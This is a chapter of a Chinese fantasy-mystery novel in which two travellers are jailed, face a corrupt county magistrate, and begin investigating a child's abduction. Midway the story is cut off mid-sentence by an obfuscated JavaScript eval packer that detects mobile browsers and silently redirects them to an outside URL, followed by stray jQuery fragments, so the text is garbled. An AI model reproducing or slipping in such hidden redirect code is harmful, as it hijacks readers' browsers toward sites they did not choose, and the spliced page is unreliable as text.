虞越扒在牢房的铁栏上,尽力伸长脖子朝外望,见外面一个狱卒都没有,也没人给个准信,只好回身朝简陋的木床走去,耸耸肩说道:“往好处想,省了一天客栈钱。”
“或许不止一天。”辛烨坐在干草堆上淡淡地说。
“你倒还挺顺其自然。”虞越朝坐着的人走去,盘腿坐下,“你说——他们为什么抓我们?”
没等辛烨回她,虞越自顾自地说下去:“前脚我们刚踏进客栈,后脚便有人追来,显然是有人通风报信。”
“是谁想把我们扔进大牢?”
她略微沉思片刻,回忆今天在富水镇的经历,总结道:“我揍了个欺软怕硬的混蛋,你烧了个偷听的假樵夫,算来算去也就只有这两人。”
随后她有些愤恨道:“这人还有脸反过来诬陷我们呢?!”
辛烨终于睁开眼:“不错。但你有没有想过,这两人有这么大的本事能叫镇上的守卫来捉我们吗?”
“你是说——”
“或许,才刚刚开始。”
“吱呀——”老旧的铁门发出呻吟声,一群人浩浩荡荡地走进牢狱。
领头手上晃悠悠地甩着一大串钥匙,慢悠悠地等着前头的人给他开门。门接连发出怪叫,惹得领头啧了一声。
“沈三,叫你给这门涂点油,你没听见啊?”
被唤作沈三的人唯唯诺诺答道:“库房里没油了。我找许管事要,他不拨钱买,说咱花钱太凶了。”
领头没想到得到这样的回答,一时脸上有些挂不住,转而怒道:“这该死的东西。”
见周围没人吭声,他对着沈三撒气道:“呸!自掏腰包买点油怎么了?就你这样的,这辈子都坐不到你王二爷爷我的位子上。”
周围适时响起嘲弄的笑声。王二扬眉吐气般往牢里走,陆陆续续经过沈三的人都应和朝他呸一口。稀稀拉拉的队伍又回到捧着王二的样子。
谁都没有注意到,沈三用力地攥着拳头,尽力让自己保持冷静。
钥匙清脆的碰撞声越来越近,虞越这才看清王二的样子。王二身形魁梧,但连年的享受和酒色让他的肚腩不住地下垂。他闲闲地剔牙,眯着的眼睛将牢房里地两人从头到脚打量一番,颇有几分相看货物的意思。
虞越看着牢头的样子,心里有了猜测。
这个县衙不过是群酒囊饭袋,平日里正事不干,倒想着如何剥削百姓。她面上不显,顺从地跟着几人走,倒看看他们有什么招数。
两人被带着走出牢狱,外面几个人正压着一个男人正准备行刑。
捕头瞥了眼看起来像没吃过苦的两人,正打算给他们点下马威,后面也要勒索钱财。他朝行刑的人使了个眼色,对面心领神会地点头哈腰。
“冤枉啊!”一个身穿短衣的男子被几个人按在条凳上,如一条搁浅的鱼瞪着眼扑腾。拿着竹板行刑的男子和身旁的同僚对了对眼色,举起板子不轻不重地打下去。
那男子立刻便叫出了声。
虞越面带不忍,捕头倒是轻快地笑了一声,得意地挑挑眉。
富水县衙门不大,大牢往外没走几步便到了县衙。
县令端坐在堂上,正吹着杯盏中的浮在水面上的茶叶,轻轻啜了一口。
他丝毫不把眼神放到押到堂上的两人身上,直到身旁的人在他耳边低语几句,他才不紧不慢地抬起眼看向台下的两人。
“就是你们两妖烧杀抢掠,犯下弥天大罪,凌迟也不为过。来人将他们带下,等我禀告上级,就处决他们以慰天灵。”说罢,他一敲惊堂木,就要把他们拿下。
“我倒没见过你这样判案的,”虞越站起身,看着要退堂的县令,“无凭无据就要判人生死。”
县令看她不服的样子,不慌不忙地坐下:“证据?本县令金口玉言,还需要证据?”
“你们二人行迹可疑,妄图打听县里的情况,还会妖术,还有什么可狡辩的?”他洋洋得意道。
“真是可笑。”虞越还欲争辩,辛烨直接站起来掷出一缕火苗。那团火苗落在案桌上,还没等县令回过神,他身旁的人倒先一步大叫起来,跳开几步,“着火了!”
县令这才看清桌上是什么东西,他脸上肥肉一抖一抖的,还不忘指着桌子说:“大胆妖精,竟敢在此造次,如今你用了妖法,我看你作何解释?”
“哦?”辛烨将火又收回袖子,“不过是跑江湖的赚钱的把戏罢了,要是这也是妖怪,那满大街都是妖了。”
“不信你看桌上可有火烧的痕迹?”
县令微微颤颤地摸摸桌子,桌上一如什么都没有发生过,他心里疑窦丛生。
虞越看他的表情心里了然。
果然是那个假樵夫。
县令眼神一转,眼中露出几分算计。
他清清嗓子说:“既然是奇人,那我便委托你们一件事——”
他眼里露出一抹兴味:“县里妖物横行,你们便去捉妖归案吧。”
虞越也正有一探究竟揪出幕后黑手的想法,正好这县令替她想好了借口,她便爽快地应下:“替官府办事,总是要有印信的吧,否则人怎么知道是官府替他们讨公道?”
辛烨没说什么,显然是默认了她的说法。这伙人一看便是要找个借口处置他们,趁这个档口脱身倒也不失为一个好办法。
那县令正等着两人露出恐惧和害怕并跪地求饶,谁知两人竟应下了。他有些怔愣,回神后略微思索一番两人的话,想到自己已经换做金银珠宝的捉妖钱,再看看台下不知天高地厚的人,心中笑道真是打瞌睡就有人递枕头。
他挥挥手,叫手下拿两块令牌给他们。
“东街头的赵大壮家,便是此次苦主。”他用像看傻子的眼神看着他们,“两日之内,来此复命。”
等两人离开,身旁的捕头王二便急不可耐地说:“老爷,怎么把令牌给了他们?您还真相信这糊弄人的小子能查出东西来?”
县令猝不及防被他一问,心里有些不快。
还没等他想好冠冕堂皇的说辞,一直隐在后面的男子走上前来道:“大人正是借这件事好让他们认罪伏法。至于令牌,没有令牌百姓怎么知道是县里来帮他们捉妖了?”
县令满意地看了看身边的清隽男子,点点头,像是被道出心中所想:“子言所说正是我所想。”他想到那一笔早已变成丰厚的捉妖钱,嘴角的弧度愈发明显,转头斥责王二:“和人子言好好学学,空有一身肉。”
王二拳头捏得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790255|210356||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
咯咯作响,他愤恨地看着县令身旁的许管事。自从这个许子言来到县里,不知给县令灌了什么迷魂汤,县里的大小事都有他决议,他王二如今倒真沦为一个说不上话的捕头了。
他咬咬牙,看许子言一副白面书生样,暗暗觉得他另有图谋。
毕竟,也就只有县令自己觉得有人会效忠他这头蠢猪了!
---
两人一路探听,总算是到了赵大壮家。
院子里几亩菜田杂草丛生,想必已经很久没有打理。窗台上还挂着一串铃铛,风吹过,隐隐约约还能听到孩子的笑声。
虞越站在院子外良久,开口道:“我以为你不会参与这些事。”
“不过是顺手罢了。”辛烨冷冷道,“我并不想在此耗时间。”
虞越轻轻笑了一声。
她上前敲门,门轻轻掀开一条缝,露出一张憔悴苍老的面庞。
她看两人的装束,沙哑地问:“你们是谁?”
虞越亮出令牌:“县里派我们来办案。”
那女子看见那令牌,如同久旱逢甘雨,打开门请他们进来,“可总算等到你们了!”
“那天,媳妇在田里锄草,我在屋里头烧饭,”老妇回忆着当天,“我突然听到外头一声惨叫,急忙忙跑出去,院子里孩子和孩子娘都不见了。我老了,腿脚慢,刚跑到门口,就看见…”
她哽咽住,眼泪不住地向下淌,“孩子被一个男人抱在怀里哭得都快断了气,她娘在身后边哭边追…”
“你看到的时候就已经是一个人抱着孩子跑了?”虞越问道,“可为什么传说是妖呢?”
“我看到的时候确实是个男人,那人跑得太快了,周围人都追不上他,除了妖,还有谁能跑得这么快呀!”妇人瞪大着眼,“真正看到那人最开始样子的只有孩子娘了,可…自从孩子丢了,孩子娘也就疯了。”
老妇沉默地看着手中的老茧,眼泪滴在茧子上:“我儿子出门做工去了,平日里就我们娘仨,一个丢了,一个疯了,剩下我这个老婆子。”
“大娘,您别伤心,县里派我们来就是帮您找孩子的,”虞越安慰地拍拍她的肩,“我们到院子里逛逛。”
老妇点点头,用布满皱纹的手背擦擦眼泪。
“孩子当时就放在窗户底下,她最喜欢看这串铃铛。”老妇见虞越走到窗边望着那串铃铛,触景生情道。窗户边上放着一张仍在摇动的竹编婴儿椅,可见家人的用心程度。
可如今椅子尚在,却早已物是人非。
“他最开始并没有引起孩子母亲注意,是等抱起孩子跑了惹得孩子哭叫,才引得母亲追赶。既如此,他动静不大,应该是从最近的地方进来。院门距离窗户不近,如果从门进,大人不会没听见动静。”辛烨分析。
虞越点点头,走到离窗子最近的土墙查看。见地上早已被前来探查的府兵踩脏,地上一片凌乱的脚印,早已看不出什么。
她绕着墙,摸摸土墙上明显凹下去一块的纹路,心里隐隐猜到贼人是从这里进来了。于是她双手轻轻一撑,灵巧地避开凹陷从旁边翻过去。
墙的外侧是一条小巷,平日里鲜有人至。她顺着墙根走,不放过任何一个细节,眼前突然发现什么,快步向前。